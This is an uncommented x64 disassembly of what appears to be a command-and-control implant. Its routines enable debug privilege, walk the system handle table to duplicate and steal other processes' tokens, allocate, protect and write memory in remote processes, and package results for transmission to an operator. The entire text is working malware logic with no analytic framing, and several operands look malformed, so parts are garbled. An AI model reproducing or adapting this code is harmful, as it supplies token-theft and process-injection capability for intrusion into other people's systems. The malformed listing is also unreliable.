    140017defmov rbx, rax
    140017df2call TokenQueryOwner
    140017df7mov rcx, rbx
    140017dfatest eax, eax
    140017dfcsetne al
    140017dffmovzx eax, al
    140017e02mov [rsp+76], eax
    140017e06call SysNtClose
    140017e0b
    140017e0bloc_140017e0b:
    140017e0bmov ecx, 1
    140017e10call TokenSetSeDebugPriv
    140017e15lea rcx, [rsp+112]
    140017e1acall GetTypeIndexToken
    140017e1ftest eax, eax
    140017e21jne 0x140017e2a
    140017e23
    140017e23loc_140017e23:
    140017e23xor ebx, ebx
    140017e25jmp 0x140018011
    140017e2a
    140017e2aloc_140017e2a:
    140017e2alea rdx, [rsp+116]
    140017e2flea rcx, [rsp+128]
    140017e37call GetAllHandles
    140017e3ctest eax, eax
    140017e3eje 0x140017e23
    140017e40mov r13, [rsp+128]
    140017e48lea rdx, [rsp+136]
    140017e50mov rcx, r13
    140017e53call GetProcessesFromHandleTable
    140017e58test eax, eax
    140017e5aje 0x140017e23
    140017e5cmov rax, [rip+0x1450d]
    140017e63mov edx, 0x420000
    140017e68mov ecx, 64
    140017e6dcall [rax+932]
    140017e73mov rbx, rax
    140017e76test rax, rax
    140017e79je 0x140017e23
    140017e7blea rax, [rsp+120]
    140017e80xor ebp, ebp
    140017e82lea r14, [rsp+108]
    140017e87mov [rsp+80], rax
    140017e8clea r15, [rsp+144]
    140017e94
    140017e94loc_140017e94:
    140017e94mov rax, [rsp+136]
    140017e9ccmp ebp, [rax]
    140017e9ejae 0x140017ff3
    140017ea4mov edx, ebp
    140017ea6mov edi, [rax+4*rdx+4]
    140017eaamov rax, [rip+0x144bf]
    140017eb1cmp [rax+76], edi
    140017eb4je 0x140017fec
    140017ebatest edi, -5
    140017ec0je 0x140017fec
    140017ec6mov edx, 1088
    140017ecbmov ecx, edi
    140017ecdxor r12l, r12l
    140017ed0call ProcessOpen
    140017ed5mov rsi, rax
    140017ed8test rax, rax
    140017edbje 0x140017fec
    140017ee1
    140017ee1loc_140017ee1:
    140017ee1cmp r12l, [r13]
    140017ee5jae 0x140017f8d
    140017eebmov r10l, r12l
    140017eeeimul r10, r10, 24
    140017ef2add r10, r13
    140017ef5movzx eax, [r10+8]
    140017efacmp eax, edi
    140017efcjne 0x140017f85
    140017f02movzx eax, [r10+12]
    140017f07cmp eax, [rsp+112]
    140017f0bjne 0x140017f85
    140017f0dmovzx edx, [r10+14]
    140017f12mov [rsp+88], r10
    140017f17xor r10l, r10l
    140017f1axor r9l, r9l
    140017f1dmov [rsp+48], 2
    140017f25or r8, -1
    140017f29mov rcx, rsi
    140017f2cmov [rsp+40], r10l
    140017f31mov [rsp+32], r10l
    140017f36mov [rsp+120], r9
    140017f3bmov r9, [rsp+80]
    140017f40call SysNtDuplicateObject
    140017f45test eax, eax
    140017f47js 0x140017f85
    140017f49mov r10, [rsp+88]
    140017f4emov r9l, [rsp+76]
    140017f53mov edx, edi
    140017f55mov rcx, [rsp+120]
    140017f5amovzx r8l, [r10+14]
    140017f5fmov [rsp+48], r14
    140017f64mov [rsp+40], rbx
    140017f69mov [rsp+32], r15
    140017f6ecall ProcessUserToken
    140017f73mov rcx, [rsp+120]
    140017f78call SysNtClose
    140017f7dxor r8l, r8l
    140017f80mov [rsp+120], r8
    140017f85
    140017f85loc_140017f85:
    140017f85inc r12l
    140017f88jmp 0x140017ee1
    140017f8d
    140017f8dloc_140017f8d:
    140017f8dmov r8, [rsp+80]
    140017f92mov edx, 10
    140017f97mov rcx, rsi
    140017f9acall SysNtOpenProcessToken
    140017f9ftest eax, eax
    140017fa1js 0x140017fe4
    140017fa3lea rax, [rsp+108]
    140017fa8mov [rsp+40], rbx
    140017fadxor r8l, r8l
    140017fb0mov edx, edi
    140017fb2mov r9l, [rsp+76]
    140017fb7mov rcx, [rsp+120]
    140017fbcmov [rsp+48], rax
    140017fc1lea rax, [rsp+144]
    140017fc9mov [rsp+32], rax
    140017fcecall ProcessUserToken
    140017fd3mov rcx, [rsp+120]
    140017fd8call SysNtClose
    140017fddxor ecx, ecx
    140017fdfmov [rsp+120], rcx
    140017fe4
    140017fe4loc_140017fe4:
    140017fe4mov rcx, rsi
    140017fe7call SysNtClose
    140017fec
    140017fecloc_140017fec:
    140017fecinc ebp
    140017feejmp 0x140017e94
    140017ff3
    140017ff3loc_140017ff3:
    140017ff3mov rax, [rsp+240]
    140017ffbmov rsi, [rsp+248]
    140018003mov [rax], rbx
    140018006mov eax, [rsp+108]
    14001800amov ebx, 1
    14001800fmov [rsi], eax
    140018011
    140018011loc_140018011:
    140018011mov rdi, [rsp+128]
    140018019test rdi, rdi
    14001801cje 0x140018045
    14001801emov ecx, [rsp+116]
    140018022xor eax, eax
    140018024rep stosb [rdi], al
    140018026mov rax, [rip+0x14343]
    14001802dmov rcx, [rsp+128]
    140018035call [rax+940]
    14001803bxor edx, edx
    14001803dmov [rsp+128], rdx
    140018045
    140018045loc_140018045:
    140018045mov rdi, [rsp+136]
    14001804dtest rdi, rdi
    140018050je 0x14001807a
    140018052mov ecx, 20004
    140018057xor eax, eax
    140018059rep stosb [rdi], al
    14001805bmov rax, [rip+0x1430e]
    140018062mov rcx, [rsp+136]
    14001806acall [rax+940]
    140018070xor eax, eax
    140018072mov [rsp+136], rax
    14001807a
    14001807aloc_14001807a:
    14001807amov rdi, [rsp+144]
    140018082test rdi, rdi
    140018085je 0x1400180a7
    140018087mov ecx, [rsp+152]
    14001808exor eax, eax
    140018090rep stosb [rdi], al
    140018092mov rax, [rip+0x142d7]
    140018099mov rcx, [rsp+144]
    1400180a1call [rax+940]
    1400180a7
    1400180a7loc_1400180a7:
    1400180a7add rsp, 168
    1400180aemov eax, ebx
    1400180b0pop rbx
    1400180b1pop rsi
    1400180b2pop rdi
    1400180b3pop rbp
    1400180b4pop r12
    1400180b6pop r13
    1400180b8pop r14
    1400180bapop r15
    1400180bcret
    140017d70
    1400180bd
    1400180bd // align 0x10
    1400180c0
    1400180c0MemCompare:
    1400180c0xor eax, eax
    1400180c2cmp rcx, rdx
    1400180c5je 0x1400180f2
    1400180c7xor eax, eax
    1400180c9
    1400180c9loc_1400180c9:
    1400180c9mov r9l, r8l
    1400180ccsub r9l, eax
    1400180cftest r9l, r9l
    1400180d2jle 0x1400180f0
    1400180d4mov r9b, [rcx+rax]
    1400180d8inc rax
    1400180dbmov r10b, [rdx+rax-1]
    1400180e0cmp r9b, r10b
    1400180e3je 0x1400180c9
    1400180e5cmp r10b, r9b
    1400180e8sbb eax, eax
    1400180eaand eax, 2
    1400180eddec eax
    1400180efret
    1400180f0
    1400180f0loc_1400180f0:
    1400180f0xor eax, eax
    1400180f2
    1400180f2loc_1400180f2:
    1400180f2ret
    1400180c0
    1400180f3
    1400180f3 // align 0x10
    140018100
    140018100MemFileFree:
    140018100push rdi
    140018101push rsi
    140018102push rbx
    140018103mov rbx, rcx
    140018106sub rsp, 32
    14001810amov rdi, [rcx+24]
    14001810etest rdi, rdi
    140018111je 0x140018120
    140018113mov rcx, [rcx+8]
    140018117test rcx, rcx
    14001811aje 0x140018120
    14001811cxor eax, eax
    14001811erep stosb [rdi], al
    140018120
    140018120loc_140018120:
    140018120mov r8, [rbx+24]
    140018124mov rsi, [rip+0x14245]
    14001812btest r8, r8
    14001812eje 0x140018147
    140018130mov rax, [rsi+2230]
    140018137xor edx, edx
    140018139mov rax, [rax+96]
    14001813dmov rcx, [rax+48]
    140018141call [rsi+332]
    140018147
    140018147loc_140018147:
    140018147xor eax, eax
    140018149mov rdi, rbx
    14001814cmov ecx, 48
    140018151mov [rbx+24], rax
    140018155mov [rbx+8], rax
    140018159xor eax, eax
    14001815brep stosb [rdi], al
    14001815dmov rax, [rsi+2230]
    140018164mov r8, rbx
    140018167xor edx, edx
    140018169mov rax, [rax+96]
    14001816dmov rcx, [rax+48]
    140018171mov rax, [rsi+332]
    140018178add rsp, 32
    14001817cpop rbx
    14001817dpop rsi
    14001817epop rdi
    14001817fjmp rax
    140018100
    140018181
    140018181 // align 0x10
    140018190
    140018190MemFileIsNew:
    140018190mov rax, [rip+0x141d9]
    140018197mov rax, [rax+2318]
    14001819e
    14001819eloc_14001819e:
    14001819etest rax, rax
    1400181a1je 0x1400181ad
    1400181a3cmp [rax], ecx
    1400181a5je 0x1400181b3
    1400181a7mov rax, [rax+40]
    1400181abjmp 0x14001819e
    1400181ad
    1400181adloc_1400181ad:
    1400181admov eax, 1
    1400181b2ret
    1400181b3
    1400181b3loc_1400181b3:
    1400181b3xor eax, eax
    1400181b5ret
    140018190
    1400181b6
    1400181b6 // align 0x10
    1400181c0
    1400181c0MemFileReadChunk:
    1400181c0push rdi
    1400181c1lea rdx, [rip+0x14608]
    1400181c8push rsi
    1400181c9push rbx
    1400181casub rsp, 48
    1400181cecall GetMemFile
    1400181d3test rax, rax
    1400181d6mov rbx, rax
    1400181d9jne 0x1400181f2
    1400181dbmov r9l, ecx
    1400181demov r8l, 325
    1400181e4lea rcx, [rip+64751]
    1400181ebcall printf
    1400181f0jmp 0x14001823e
    1400181f2
    1400181f2loc_1400181f2:
    1400181f2mov rax, [rax+8]
    1400181f6sub rax, [rbx+16]
    1400181famov edi, r9l
    1400181fdmov rsi, r8
    140018200mov [rsp+32], rax
    140018205lea rcx, [rip+64625]
    14001820cmov r8l, 329
    140018212call printf
    140018217mov rax, [rbx+16]
    14001821bmov r9l, edi
    14001821eadd rax, [rbx+24]
    140018222mov rdi, rax
    140018225mov rcx, r9
    140018228xor eax, eax
    14001822arep movsb [rdi], [rsi]
    14001822cadd r9, [rbx+16]
    140018230cmp [rbx+8], r9
    140018234sete al
    140018237mov [rbx+16], r9
    14001823bmov [rbx+32], eax
    14001823e
    14001823eloc_14001823e:
    14001823eadd rsp, 48
    140018242mov rax, rbx
    140018245pop rbx
    140018246pop rsi
    140018247pop rdi
    140018248ret
    1400181c0
    140018249
    140018249 // align 0x10
    140018250
    140018250MemoryAlloc:
    140018250push r12
    140018252lea r12, [rip+0x145c7]
    140018259push rbp
    14001825apush rdi
    14001825bmov rdi, rdx
    14001825exor edx, edx
    140018260push rsi
    140018261mov esi, ecx
    140018263push rbx
    140018264mov ebx, r9l
    140018267sub rsp, 80
    14001826bmov rbp, [rip+0x140fe]
    140018272mov [rsp+144], r8
    14001827acmp [rbp+224], 0
    140018281mov [rsp+72], rdx
    140018286je 0x1400182b6
    140018288test ecx, ecx
    14001828aje 0x1400182cc
    14001828cmov ecx, 89
    140018291call PackageCreate
    140018296mov edx, 10
    14001829bmov rcx, rax
    14001829ecall PackageAddInt32
    1400182a3cmp esi, 1
    1400182a6je 0x14001830f
    1400182a8cmp esi, 2
    1400182abjne 0x1400183d7
    1400182b1jmp 0x14001837c
    1400182b6
    1400182b6loc_1400182b6:
    1400182b6cmp ecx, 1
    1400182b9je 0x14001830f
    1400182bbcmp ecx, 2
    1400182beje 0x14001837c
    1400182c4test ecx, ecx
    1400182c6jne 0x1400183d7
    1400182cc
    1400182ccloc_1400182cc:
    1400182cclea r9, [rip+0x1022d]
    1400182d3mov r8l, 29
    1400182d9mov rdx, r12
    1400182dclea rcx, [rip+0x1022c]
    1400182e3call printf
    1400182e8mov ecx, [rbp+248]
    1400182eemov r9l, ebx
    1400182f1mov rdx, rdi
    1400182f4mov r8, [rsp+144]
    1400182fctest ecx, ecx
    1400182fejne 0x140018305
    140018300mov ecx, 2
    140018305
    140018305loc_140018305:
    140018305call MemoryAlloc
    14001830ajmp 0x14001845c
    14001830f
    14001830floc_14001830f:
    14001830fmov [rsp+48], ebx
    140018313mov r9, rdi
    140018316mov rdx, r12
    140018319mov r8l, 38
    14001831fmov rax, [rsp+144]
    140018327mov [rsp+40], 12288
    14001832flea rcx, [rip+0x101ed]
    140018336mov [rsp+32], rax
    14001833bcall printf
    140018340xor edx, edx
    140018342mov rcx, rdi
    140018345mov [rsp+32], ebx
    140018349mov r8, [rsp+144]
    140018351mov r9l, 12288
    140018357call [rbp+796]
    14001835dmov r8l, 40
    140018363mov rdx, r12
    140018366lea rcx, [rip+0x101f4]
    14001836dmov r9, rax
    140018370mov [rsp+72], rax
    140018375call printf
    14001837ajmp 0x1400183d7
    14001837c
    14001837cloc_14001837c:
    14001837cmov [rsp+40], ebx
    140018380lea rdx, [rsp+72]
    140018385xor r8l, r8l
    140018388mov rcx, rdi
    14001838bmov [rsp+32], 12288
    140018393lea r9, [rsp+144]
    14001839bcall SysNtAllocateVirtualMemory
    1400183a0mov esi, eax
    1400183a2test eax, eax
    1400183a4jns 0x1400183d7
    1400183a6mov r9l, eax
    1400183a9mov r8l, 46
    1400183afmov rdx, r12
    1400183b2lea rcx, [rip+0x101bc]
    1400183b9call printf
    1400183bemov rdi, [rbp+2230]
    1400183c5mov ecx, esi
    1400183c7call [rbp+348]
    1400183cdmov [rdi+104], eax
    1400183d0xor eax, eax
    1400183d2mov [rsp+72], rax
    1400183d7
    1400183d7loc_1400183d7:
    1400183d7mov rax, [rsp+144]
    1400183dfmov r9, [rsp+72]
    1400183e4mov r8l, 59
    1400183eamov rdx, r12
    1400183edlea rcx, [rip+0x101bc]
    1400183f4mov [rsp+32], rax
    1400183f9call printf
    1400183fecmp [rsp+72], 0
    140018404je 0x140018457
    140018406cmp [rbp+224], 0
    14001840dje 0x140018457
    14001840fmov ecx, 89
    140018414call PackageCreate
    140018419mov edx, 10
    14001841emov rcx, rax
    140018421mov rsi, rax
    140018424call PackageAddInt32
    140018429mov rdx, [rsp+72]
    14001842emov rcx, rsi
    140018431call PackageAddPtr
    140018436mov edx, [rsp+144]
    14001843dmov rcx, rsi
    140018440call PackageAddInt32
    140018445mov rcx, rsi
    140018448mov edx, ebx
    14001844acall PackageAddInt32
    14001844fmov rcx, rsi
    140018452call PackageTransmit
    140018457
    140018457loc_140018457:
    140018457mov rax, [rsp+72]
    14001845c
    14001845cloc_14001845c:
    14001845cadd rsp, 80
    140018460pop rbx
    140018461pop rsi
    140018462pop rdi
    140018463pop rbp
    140018464pop r12
    140018466ret
    140018250
    140018467
    140018467 // align 0x10
    140018470
    140018470MemoryFree:
    140018470push rdi
    140018471xor eax, eax
    140018473xor r8l, r8l
    140018476push rbx
    140018477mov rbx, rcx
    14001847amov ecx, 12
    14001847fsub rsp, 120
    140018483mov [rsp+56], rax
    140018488lea rdi, [rsp+64]
    14001848dxor eax, eax
    14001848flea r9, [rsp+64]
    140018494rep stosd [rdi], eax
    140018496xor ecx, ecx
    140018498mov [rsp+152], rdx
    1400184a0mov [rsp+40], rcx
    1400184a5mov rcx, rbx
    1400184a8mov [rsp+32], 48
    1400184b1call SysNtQueryVirtualMemory
    1400184b6test eax, eax
    1400184b8js 0x1400184d7
    1400184bacmp [rsp+104], 0x40000
    1400184c2jne 0x1400184d7
    1400184c4mov rdx, [rsp+152]
    1400184ccor rcx, -1
    1400184d0call SysNtUnmapViewOfSection
    1400184d5jmp 0x1400184f2
    1400184d7
    1400184d7loc_1400184d7:
    1400184d7lea rdx, [rsp+152]
    1400184dfmov r9l, 32768
    1400184e5lea r8, [rsp+56]
    1400184eamov rcx, rbx
    1400184edcall SysNtFreeVirtualMemory
    1400184f2
    1400184f2loc_1400184f2:
    1400184f2add rsp, 120
    1400184f6not eax
    1400184f8shr eax, 31
    1400184fbpop rbx
    1400184fcpop rdi
    1400184fdret
    140018470
    1400184fe
    1400184fe // align 0x10
    140018500
    140018500MemoryProtect:
    140018500push rdi
    140018501xor eax, eax
    140018503push rsi
    140018504push rbx
    140018505mov rbx, rdx
    140018508sub rsp, 64
    14001850cmov [rsp+112], r8
    140018511mov edi, [rsp+128]
    140018518mov [rsp+120], r9
    14001851dmov [rsp+60], eax
    140018521cmp ecx, 1
    140018524je 0x14001858d
    140018526cmp ecx, 2
    140018529je 0x1400185bf
    14001852ftest ecx, ecx
    140018531je 0x14001853a
    140018533
    140018533loc_140018533:
    140018533xor ebx, ebx
    140018535jmp 0x140018666
    14001853a
    14001853aloc_14001853a:
    14001853alea r9, [rip+65471]
    140018541mov r8l, 97
    140018547lea rdx, [rip+0x140c2]
    14001854elea rcx, [rip+65466]
    140018555call printf
    14001855amov rax, [rip+0x13e0f]
    140018561mov r9, [rsp+120]
    140018566mov rdx, rbx
    140018569mov r8, [rsp+112]
    14001856emov ecx, [rax+248]
    140018574mov [rsp+32], edi
    140018578test ecx, ecx
    14001857ajne 0x140018581
    14001857cmov ecx, 2
    140018581
    140018581loc_140018581:
    140018581call MemoryProtect
    140018586mov ebx, eax
    140018588jmp 0x140018666
    14001858d
    14001858dloc_14001858d:
    14001858dlea rax, [rsp+60]
    140018592mov rcx, rbx
    140018595mov r8, [rsp+120]
    14001859amov r9l, edi
    14001859dmov [rsp+32], rax
    1400185a2mov rax, [rip+0x13dc7]
    1400185a9mov rdx, [rsp+112]
    1400185aecall [rax+988]
    1400185b4mov ebx, eax
    1400185b6test eax, eax
    1400185b8jne 0x140018605
    1400185bajmp 0x140018533
    1400185bf
    1400185bfloc_1400185bf:
    1400185bflea rax, [rsp+60]
    1400185c4mov rcx, rbx
    1400185c7lea rdx, [rsp+112]
    1400185ccmov r9l, edi
    1400185cfmov [rsp+32], rax
    1400185d4lea r8, [rsp+120]
    1400185d9mov ebx, 1
    1400185decall SysNtProtectVirtualMemory
    1400185e3mov ecx, eax
    1400185e5test eax, eax
    1400185e7jns 0x140018605
    1400185e9mov rax, [rip+0x13d80]
    1400185f0mov rbx, [rax+2230]
    1400185f7call [rax+348]
    1400185fdmov [rbx+104], eax
    140018600jmp 0x140018533
    140018605
    140018605loc_140018605:
    140018605mov rax, [rip+0x13d64]
    14001860ccmp [rax+224], 0
    140018613je 0x140018666
    140018615mov ecx, 89
    14001861acall PackageCreate
    14001861fmov edx, 12
    140018624mov rcx, rax
    140018627mov rsi, rax
    14001862acall PackageAddInt32
    14001862fmov rdx, [rsp+112]
    140018634mov rcx, rsi
    140018637call PackageAddPtr
    14001863cmov edx, [rsp+120]
    140018640mov rcx, rsi
    140018643call PackageAddInt32
    140018648mov edx, [rsp+60]
    14001864cmov rcx, rsi
    14001864fcall PackageAddInt32
    140018654mov rcx, rsi
    140018657mov edx, edi
    140018659call PackageAddInt32
    14001865emov rcx, rsi
    140018661call PackageTransmit
    140018666
    140018666loc_140018666:
    140018666add rsp, 64
    14001866amov eax, ebx
    14001866cpop rbx
    14001866dpop rsi
    14001866epop rdi
    14001866fret
    140018500
    140018670
    140018670MemoryWrite:
    140018670test rcx, rcx
    140018673je 0x14001869e
    140018675test rdx, rdx
    140018678je 0x14001869e
    14001867atest r8, r8
    14001867dje 0x14001869e
    14001867ftest r9, r9
    140018682je 0x14001869e
    140018684sub rsp, 56
    140018688xor eax, eax
    14001868amov [rsp+32], rax
    14001868fcall SysNtWriteVirtualMemory
    140018694add rsp, 56
    140018698not eax
    14001869ashr eax, 31
    14001869dret
    14001869e
    14001869eloc_14001869e:
    14001869exor eax, eax
    1400186a0ret
    140018670
    1400186a1
    1400186a1 // align 0x10
    1400186b0
    1400186b0NewMemFile:
    1400186b0push r12
    1400186b2push rbp
    1400186b3mov rbp, rdx
    1400186b6mov edx, 8
    1400186bbpush rdi
    1400186bcmov edi, ecx
    1400186bepush rsi
    1400186bfmov rsi, r8
    1400186c2mov r8l, 48
    1400186c8push rbx
    1400186c9sub rsp, 48
    1400186cdmov r12, [rip+0x13c9c]
    1400186d4mov [rsp+120], r9l
    1400186d9mov rax, [r12+2230]
    1400186e1mov rax, [rax+96]
    1400186e5mov rcx, [rax+48]
    1400186e9call [r12+316]
    1400186f1mov r8, rbp
    1400186f4mov edx, 8
    1400186f9mov rbx, rax
    1400186fcmov [rax+8], rbp
    140018700mov [rax], edi
    140018702mov rax, [r12+2230]
    14001870amov rax, [rax+96]
    14001870emov rcx, [rax+48]
    140018712call [r12+316]
    14001871amov r9l, [rsp+120]
    14001871flea rdx, [rip+0x1455a]
    140018726mov rbp, rax
    140018729mov [rbx+24], rax
    14001872dxor eax, eax
    14001872fmov [rbx+16], rax
    140018733mov rax, [r12+2318]
    14001873btest rbp, rbp
    14001873emov [rbx+40], rax
    140018742jne 0x14001875c
    140018744mov r9, [rbx+8]
    140018748mov r8l, 267
    14001874elea rcx, [rip+63226]
    140018755call printf
    14001875ajmp 0x1400187c2
    14001875c
    14001875cloc_14001875c:
    14001875cmov eax, r9l
    14001875fmov rdi, rbp
    140018762xor r8l, r8l
    140018765mov rbp, rbx
    140018768mov rcx, rax
    14001876brep movsb [rdi], [rsi]
    14001876dmov rcx, [rbx+8]
    140018771add rax, [rbx+16]
    140018775mov [rbx+16], rax
    140018779cmp rax, rcx
    14001877csete r8b
    140018780sub rcx, rax
    140018783mov [rbx+32], r8l
    140018787mov r8l, 277
    14001878dmov [rsp+32], rcx
    140018792lea rcx, [rip+63204]
    140018799call printf
    14001879emov r9l, [rbx]
    1400187a1mov r8l, 282
    1400187a7lea rdx, [rip+0x144d2]
    1400187aelea rcx, [rip+63231]
    1400187b5mov [r12+2318], rbx
    1400187bdcall printf
    1400187c2
    1400187c2loc_1400187c2:
    1400187c2add rsp, 48
    1400187c6mov rax, rbp
    1400187c9pop rbx
    1400187capop rsi
    1400187cbpop rdi
    1400187ccpop rbp
    1400187cdpop r12
    1400187cfret
    1400186b0
    1400187d0
    1400187d0PackageAddBool:
    1400187d0test rcx, rcx
    1400187d3je 0x140018823
    1400187d5push rsi
    1400187d6mov esi, edx
    1400187d8mov r8l, 2
    1400187depush rbx
    1400187dfmov rbx, rcx
    1400187e2sub rsp, 40
    1400187e6mov rax, [rcx+16]
    1400187eamov rcx, [rcx+8]
    1400187eelea rdx, [rax+4]
    1400187f2mov rax, [rip+0x13b77]
    1400187f9call [rax+948]
    1400187ffxor edx, edx
    140018801test sil, sil
    140018804mov [rbx+8], rax
    140018808setne dl
    14001880badd rax, [rbx+16]
    14001880fmov rcx, rax
    140018812call Int32ToBuffer
    140018817add [rbx+16], 4
    14001881cadd rsp, 40
    140018820pop rbx
    140018821pop rsi
    140018822ret
    140018823
    140018823loc_140018823:
    140018823ret
    1400187d0
    140018824
    140018824 // align 0x10
    140018830
    140018830PackageAddBytes:
    140018830test rcx, rcx
    140018833je 0x14001888e
    140018835push rbp
    140018836mov rbp, r8
    140018839push rdi
    14001883apush rsi
    14001883bmov rsi, rdx
    14001883emov edx, r8l
    140018841push rbx
    140018842mov rbx, rcx
    140018845sub rsp, 40
    140018849call PackageAddInt32
    14001884etest rbp, rbp
    140018851je 0x140018885
    140018853mov rdx, [rbx+16]
    140018857mov rcx, [rbx+8]
    14001885bmov r8l, 66
    140018861mov rax, [rip+0x13b08]
    140018868add rdx, rbp
    14001886bcall [rax+948]
    140018871mov rcx, rbp
    140018874mov [rbx+8], rax
    140018878add rax, [rbx+16]
    14001887cmov rdi, rax
    14001887frep movsb [rdi], [rsi]
    140018881add [rbx+16], rbp
    140018885
    140018885loc_140018885:
    140018885add rsp, 40
    140018889pop rbx
    14001888apop rsi
    14001888bpop rdi
    14001888cpop rbp
    14001888dret
    14001888e
    14001888eloc_14001888e:
    14001888eret
    140018830
    14001888f
    14001888f // align 0x10
    140018890
    140018890PackageAddInt32:
    140018890test rcx, rcx
    140018893je 0x1400188dd
    140018895push rsi
    140018896mov esi, edx
    140018898mov r8l, 2
    14001889epush rbx
    14001889fmov rbx, rcx
    1400188a2sub rsp, 40
    1400188a6mov rax, [rcx+16]
    1400188aamov rcx, [rcx+8]
    1400188aelea rdx, [rax+4]
    1400188b2mov rax, [rip+0x13ab7]
    1400188b9call [rax+948]
    1400188bfmov edx, esi
    1400188c1mov [rbx+8], rax
    1400188c5add rax, [rbx+16]
    1400188c9mov rcx, rax
    1400188cccall Int32ToBuffer
    1400188d1add [rbx+16], 4
    1400188d6add rsp, 40
    1400188dapop rbx
    1400188dbpop rsi
    1400188dcret
    1400188dd
    1400188ddloc_1400188dd:
    1400188ddret
    140018890
    1400188de
    1400188de // align 0x10
    1400188e0
    1400188e0PackageAddInt64:
    1400188e0test rcx, rcx
    1400188e3je 0x14001892f
    1400188e5push rsi
    1400188e6mov rsi, rdx
    1400188e9mov r8l, 2
    1400188efpush rbx
    1400188f0mov rbx, rcx
    1400188f3sub rsp, 40
    1400188f7mov rax, [rcx+16]
    1400188fbmov rcx, [rcx+8]
    1400188fflea rdx, [rax+8]
    140018903mov rax, [rip+0x13a66]
    14001890acall [rax+948]
    140018910mov rdx, rsi
    140018913mov [rbx+8], rax
    140018917add rax, [rbx+16]
    14001891bmov rcx, rax
    14001891ecall Int64ToBuffer
    140018923add [rbx+16], 8
    140018928add rsp, 40
    14001892cpop rbx
    14001892dpop rsi
    14001892eret
    14001892f
    14001892floc_14001892f:
    14001892fret
    1400188e0
    140018930
    140018930PackageAddPad:
    140018930test rcx, rcx
    140018933je 0x140018981
    140018935push rbp
    140018936mov rbp, r8
    140018939push rdi
    14001893apush rsi
    14001893bmov rsi, rdx
    14001893epush rbx
    14001893fmov rbx, rcx
    140018942sub rsp, 40
    140018946mov rdx, [rcx+16]
    14001894amov rax, [rip+0x13a1f]
    140018951mov rcx, [rcx+8]
    140018955add rdx, r8
    140018958mov r8l, 66
    14001895ecall [rax+948]
    140018964mov rcx, rbp
    140018967mov [rbx+8], rax
    14001896badd rax, [rbx+16]
    14001896fmov rdi, rax
    140018972rep movsb [rdi], [rsi]
    140018974add [rbx+16], rbp
    140018978add rsp, 40
    14001897cpop rbx
    14001897dpop rsi
    14001897epop rdi
    14001897fpop rbp
    140018980ret
    140018981
    140018981loc_140018981:
    140018981ret
    140018930
    140018982
    140018982 // align 0x10
    140018990
    140018990PackageAddPtr:
    140018990jmp 0x1400188e0
    140018990
    140018995
    140018995 // align 0x10
    1400189a0
    1400189a0PackageAddString:
    1400189a0push rsi
    1400189a1mov rsi, rcx
    1400189a4mov rcx, rdx
    1400189a7sub rsp, 48
    1400189abmov [rsp+40], rdx
    1400189b0call StringLengthA
    1400189b5mov rdx, [rsp+40]
    1400189baadd rsp, 48
    1400189bemov rcx, rsi
    1400189c1mov r8, rax
    1400189c4pop rsi
    1400189c5jmp 0x140018830
    1400189a0
    1400189ca
    1400189ca // align 0x10
    1400189d0
    1400189d0PackageAddWString:
    1400189d0push rsi
    1400189d1mov rsi, rcx
    1400189d4mov rcx, rdx
    1400189d7sub rsp, 48
    1400189dbmov [rsp+40], rdx
    1400189e0call StringLengthW
    1400189e5mov rdx, [rsp+40]
    1400189eaadd rsp, 48
    1400189eemov rcx, rsi
    1400189f1lea r8, [rax+rax]
    1400189f5pop rsi
    1400189f6jmp 0x140018830
    1400189d0
    1400189fb
    1400189fb // align 0x10
    140018a00
    140018a00PackageCreate:
    140018a00push rdi
    140018a01mov edx, 48
    140018a06push rsi
    140018a07mov esi, ecx
    140018a09mov ecx, 64
    140018a0epush rbx
    140018a0fsub rsp, 32
    140018a13mov rdi, [rip+0x13956]
    140018a1acall [rdi+932]
    140018a20mov edx, 1
    140018a25mov ecx, 64
    140018a2amov rbx, rax
    140018a2dcall [rdi+932]
    140018a33xor edx, edx
    140018a35xor ecx, ecx
    140018a37mov [rbx+8], rax
    140018a3bmov eax, [rdi+8]
    140018a3emov [rbx+32], edx
    140018a41mov [rbx], eax
    140018a43xor eax, eax
    140018a45mov [rbx+16], rax
    140018a49mov rax, 0x100000001
    140018a53mov [rbx+24], rax
    140018a57mov rax, rbx
    140018a5amov [rbx+4], esi
    140018a5dmov [rbx+40], rcx
    140018a61add rsp, 32
    140018a65pop rbx
    140018a66pop rsi
    140018a67pop rdi
    140018a68ret
    140018a00
    140018a69
    140018a69 // align 0x10
    140018a70
    140018a70PackageCreateWithMetaData:
    140018a70push rbx
    140018a71sub rsp, 32
    140018a75call PackageCreate
    140018a7axor edx, edx
    140018a7cmov rbx, rax
    140018a7fmov rcx, rax
    140018a82call PackageAddInt32
    140018a87mov rcx, rbx
    140018a8amov edx, 0xffffffffdeadbeef
    140018a8fcall PackageAddInt32
    140018a94mov rax, [rip+0x138d5]
    140018a9bmov rcx, rbx
    140018a9emov edx, [rax+68]
    140018aa1call PackageAddInt32
    140018aa6mov edx, [rbx+4]
    140018aa9mov rcx, rbx
    140018aaccall PackageAddInt32
    140018ab1mov edx, [rbx]
    140018ab3mov rcx, rbx
    140018ab6call PackageAddInt32
    140018abbadd rsp, 32
    140018abfmov rax, rbx
    140018ac2pop rbx
    140018ac3ret
    140018a70
    140018ac4
    140018ac4 // align 0x10
    140018ad0
    140018ad0PackageCreateWithRequestID:
    140018ad0push rbx
    140018ad1mov ebx, edx
    140018ad3sub rsp, 32
    140018ad7call PackageCreate
    140018adcmov [rax], ebx
    140018adeadd rsp, 32
    140018ae2pop rbx
    140018ae3ret
    140018ad0
    140018ae4
    140018ae4 // align 0x10
    140018af0
    140018af0PackageDestroy:
    140018af0test rcx, rcx
    140018af3je 0x140018b86
    140018af9push rdi
    140018afapush rsi
    140018afbpush rbx
    140018afcmov rbx, rcx
    140018affsub rsp, 32
    140018b03mov rsi, [rip+0x13866]
    140018b0amov rax, [rsi+2242]
    140018b11
    140018b11loc_140018b11:
    140018b11test rax, rax
    140018b14je 0x140018b48
    140018b16cmp rax, rbx
    140018b19jne 0x140018b42
    140018b1badd rsp, 32
    140018b1flea r9, [rip+64186]
    140018b26mov r8l, 207
    140018b2cpop rbx
    140018b2dlea rdx, [rip+0x1449c]
    140018b34lea rcx, [rip+64222]
    140018b3bpop rsi
    140018b3cpop rdi
    140018b3djmp 0x140022e20
    140018b42
    140018b42loc_140018b42:
    140018b42mov rax, [rax+40]
    140018b46jmp 0x140018b11
    140018b48
    140018b48loc_140018b48:
    140018b48mov rdi, [rbx+8]
    140018b4ctest rdi, rdi
    140018b4fje 0x140018b67
    140018b51mov rcx, [rbx+16]
    140018b55rep stosb [rdi], al
